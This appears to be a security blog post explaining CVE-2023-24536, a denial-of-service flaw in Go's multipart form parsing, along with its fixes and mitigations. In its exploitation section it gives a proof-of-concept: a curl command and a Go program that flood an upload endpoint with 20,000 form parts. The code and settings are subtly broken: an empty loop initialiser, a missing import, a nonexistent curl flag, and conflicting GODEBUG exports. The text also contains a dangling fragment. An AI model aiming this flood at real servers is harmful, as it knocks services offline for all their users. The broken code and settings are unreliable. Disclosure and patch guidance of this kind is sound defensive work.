CVE-2023-24536 - Cracking Down on DoS via Multipart Form Parsing in Go
Multipart file uploads are common in web development. They allow users to attach files or submit large volumes of data to web servers. But a critical flaw in Go’s standard library—assigned CVE-2023-24536—could allow attackers to cripple your servers simply by bombarding them with crafted multipart forms. Here’s what you need to know and how to stay protected.
What is CVE-2023-24536?
CVE-2023-24536 is a denial-of-service (DoS) vulnerability in Go’s core multipart parsing logic. If your Go application processes file uploads or form data using the standard libraries—specifically mime/multipart.Reader.ReadForm, net/http.Request.FormFile, FormValue, or related methods—your service could be at risk.
The Root Cause
Multipart requests are broken into multiple "parts" (think: every text field or uploaded file is a part). When a form contains thousands or even millions of tiny parts or headers, the parsing logic in Go’s standard library could:
1. Undercount Memory: Accept much larger payloads than intended, exceeding the memory limits set by the server.
2. Stress the Garbage Collector: Allocate and discard thousands of small memory chunks in rapid succession, slowing down or crashing your app.
3. Exhaust CPU and RAM: The work of parsing and allocating thousands of buffer objects can hog both CPU and RAM, kicking in DoS.
How Attackers Exploit CVE-2023-24536
- An attacker crafts a multipart/form-data POST request with extremely high part counts.
- Each form part may be small—or even empty—but the sheer number overwhelms the internal accounting.
Here’s a simplified attack request in curl syntax (don’t try this on production!)
curl -X POST http://target/upload \
-F "field1=@smallfile.txt" \
-F "field2=@smallfile2.txt" \
--repeat-above-few-thousand-times
Or, in code (to give you an idea)
// Go code to generate a malicious multipart body
package main
import (
"bytes"
"io"
"mime/multipart"
"net/http"
)
func main() {
var b bytes.Buffer
w := multipart.NewWriter(&b)
for i := ; i < 20000; i++ { // 20,000 parts -- too many!
fw, _ := w.CreateFormField("field" + strconv.Itoa(i))
io.WriteString(fw, "A")
}
w.Close()
http.Post("http://target/upload", w.FormDataContentType(), &b)
}
Just 20,000 parts—many Go installations allowed far more prior to the fix.
Delay or deny service to all other users (the classic DoS scenario)
Anything built on Go’s built-in HTTP and form parsing capabilities up to Go 1.20 is affected, including popular frameworks.
Smarter Memory Estimation
Go’s team improved how ReadForm and related handlers estimate real memory usage, to avoid undercounting.
Hard Limits (Now Enforced)
A. Max Form Parts
By default, forms *parsed* with ReadForm have a hard limit of 1,000 parts. You can adjust this by setting:
GODEBUG=multipartmaxparts=500
B. Max Header Fields
Adjust this with
GODEBUG=multipartmaxheaders=20000
Fewer Short-Lived Buffers
The fixed library introduces smarter allocation, reducing the pressure on the garbage collector and lowering CPU usage.
After updating, when an incoming form exceeds safe thresholds, you’ll get an error like
err := r.ParseMultipartForm(64 << 20) // 64 MB max
if err != nil {
http.Error(w, "Multipart form too large or too many parts", http.StatusBadRequest)
return
}
Upgrading and Mitigation
1. Update Go ASAP
This flaw is fixed in Go 1.19.8 and Go 1.20.3.
- Go official release notes (and security bulletin) provide more details.
2. Monitor and Limit User Input
Don’t accept unnecessarily large uploads or suspiciously complex forms from unauthenticated or untrusted users.
3. Tune or Harden Limits
Use the new environment variables to set tighter limits for your use-case and threat model
export GODEBUG=multipartmaxparts=500
export GODEBUG=multipartmaxheaders=500
References
- Go Issue #60374 (original report & fix discussion)
- NIST CVE-2023-24536 entry
- Go Release Notes v1.20.3
- Go Documentation: mime/multipart
Conclusion
CVE-2023-24536 is a reminder that while Go’s standard libraries are robust and fast, subtle parsing limits matter. If you handle file uploads—or any multipart form in Go—upgrade your Go runtime and enforce appropriate limits before attackers can take down your service.
Be sure your devops team knows about this, and review your logs for any suspicious multipart requests. A little attention will save you a major outage down the line.
*If you found this helpful, share it with your team or colleagues working with Go-based web servers!*
Timeline
Published on: 04/06/2023 16:15:00 UTC
Last modified on: 04/17/2023 16:53:00 UTC